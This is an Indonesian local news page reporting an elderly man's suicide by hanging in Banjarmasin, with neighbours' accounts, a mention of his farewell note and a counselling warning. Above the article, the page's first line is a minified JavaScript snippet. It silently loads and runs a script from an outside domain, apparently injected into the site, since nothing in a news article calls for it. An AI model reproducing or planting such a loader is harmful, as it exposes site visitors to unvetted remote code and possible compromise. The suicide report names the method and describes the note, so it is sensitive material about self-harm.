(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Pria Lanjut Usia Gantung Diri di Kuin Utara, Sempat Tinggalkan Surat Wasiat


KANALKALIMANTAN.COM, BANJARMASIN– Warga Jalan HKSN Komplek Surya Gemilang Blok F RT 19 digegerkan dengan penemuan pria lanjut usia bernama Harsadikun asal Madiun Jawa Timur, yang melakukan gantung diri di belakang rumah anak, Minggu (8/3/2020) siang.

Menurut penuturan tetangganya, Putra Siagian, ia mendapati tetangganya gantung diri saat hendak bersiap-siap memancing usai pulang dari gereja. “Saya melihat kakinya menggantung, kemudian saya lari ke rumah pak RT untuk melaporkan,” kata Putra kepada awak media.

*PERINGATAN*: Berita ini dimuat bukan untuk menginspirasi tindakan serupa. Jika mengalami permasalahan yang sulit dihadapi, ceritakan kepada orang terdekat atau hubungi petugas terkait untuk mendapatkan bantuan konseling.

Selama tinggal di rumah anaknya, Putra mengatakan tidak ada masalah atau keributan apapun di rumah menantu Harsadikun. Bahkan, kemarin sore, ia mendapati Harsadikun duduk di teras rumahnya sambil minum kopi. “(Tadi pagi) tidak ada ketemu sama sekali,” tambahnya.

Saifuddin, tetangga lainnya mengungkapkan, Harsadikun seorang diri berada di rumahnya oleh sang anak usai kegiatan Isra Mi’raj di musholla dekat rumahnya. Biasanya, Harsadikun pergi ke Landasan Ulin Banjarbaru untuk memperbaiki rumah anaknya tiap hari Minggu. “Ditinggal anak dan cucu ke sana semua (Landasan Ulin),” katanya.

Senada dengan Putra Siagian, Saifuddin mengakui semasa tinggal di rumah anaknya, Harsadikun tidak dilanda masalah apapun. Diperkirakan, ia tinggal di rumah anaknya selama 40 hari usai datang dari Madiun. “Selama kenal dengan almarhum, baik-baik saja,” tandas Saifuddin.

Kanalkalimantan.com pun mendapati ada surat wasiat yang ditulis dalam bahasa Jawa. Dalam surat wasiatnya, Harsadikun meminta maaf kepada anaknya bernama Slamet Priyono, dan mengatakan menyisakan sedikit uang dan meninggalkan kain kafan di lemari.

Semula jasad Harsadikun akan dibawa ke RS untuk kepentingan visum. Namun, pihak keluarga meminta agar jasad pria lanjut usia ini diurus di rumahnya. Kasus ini sendiri tengah diselidiki oleh pihak berwajib. (Kanalkalimantan.com/fikri)

Reporter : Fikri
Editor : Chell


Desy Arfianty

Recent Posts

Tahun Baru Masalah Lama, Banjir Rendam Pemurus Dalam

KANALKALIMANTAN.COM, BANJARMASIN – Mengawali pergantian tahun, Kota Banjarmasin diguyur hujan dari pagi hingga petang, Kamis… Read More

15 jam ago

Tanpa Pesta Kembang Api, Puncak Batfest 2025 Meriah Dihentak Musisi Papan Atas

KANALKALIMANTAN.COM, BATULICIN - Meski tanpa pertunjukan pesta kembang api, malam pergantian tahun 2025 ke 2026… Read More

17 jam ago

UMK Banjarbaru Rp3,8 Juta, Lebih Besar dari UMP Kalsel

KANALKALIMANTAN.COM, BANJARBARU – Pemerintah Kota (Pemko) Banjarbaru mengumumkan Upah Minimum Kota (UMK) berdasarkan Keputusan Gubernur… Read More

22 jam ago

Tahun 2026 Bupati Sahrujani Berharap HSU Semakin “Bangkit’” ‎‎

KANALKALIMANTAN.COM, AMUNTAI – Bupati Hulu Sungai Utara (HSU) H Sahrujani mengharapkan agar Kabupaten HSU pada… Read More

23 jam ago

PWI Kalteng Gelar Konferda, PLN UPT Palangkaraya Terima Penghargaan Peduli Pers

KANALKALIMANTAN.COM, PALANGKARAYA - Persatuan Wartawan Indonesia (PWI) Provinsi Kalimantan Tengah menggelar Konferensi Kerja Daerah (Konferda)… Read More

2 hari ago

PLN UP2B Kalbar Siaga 24 Jam Jaga Keandalan Listrik Selama Nataru

KANALKALIMANTAN. COM, PONTIANAK - PT PLN (Persero) Unit Pelaksana Pengatur Beban (UP2B) Kalimantan Barat memastikan… Read More

2 hari ago

This website uses cookies.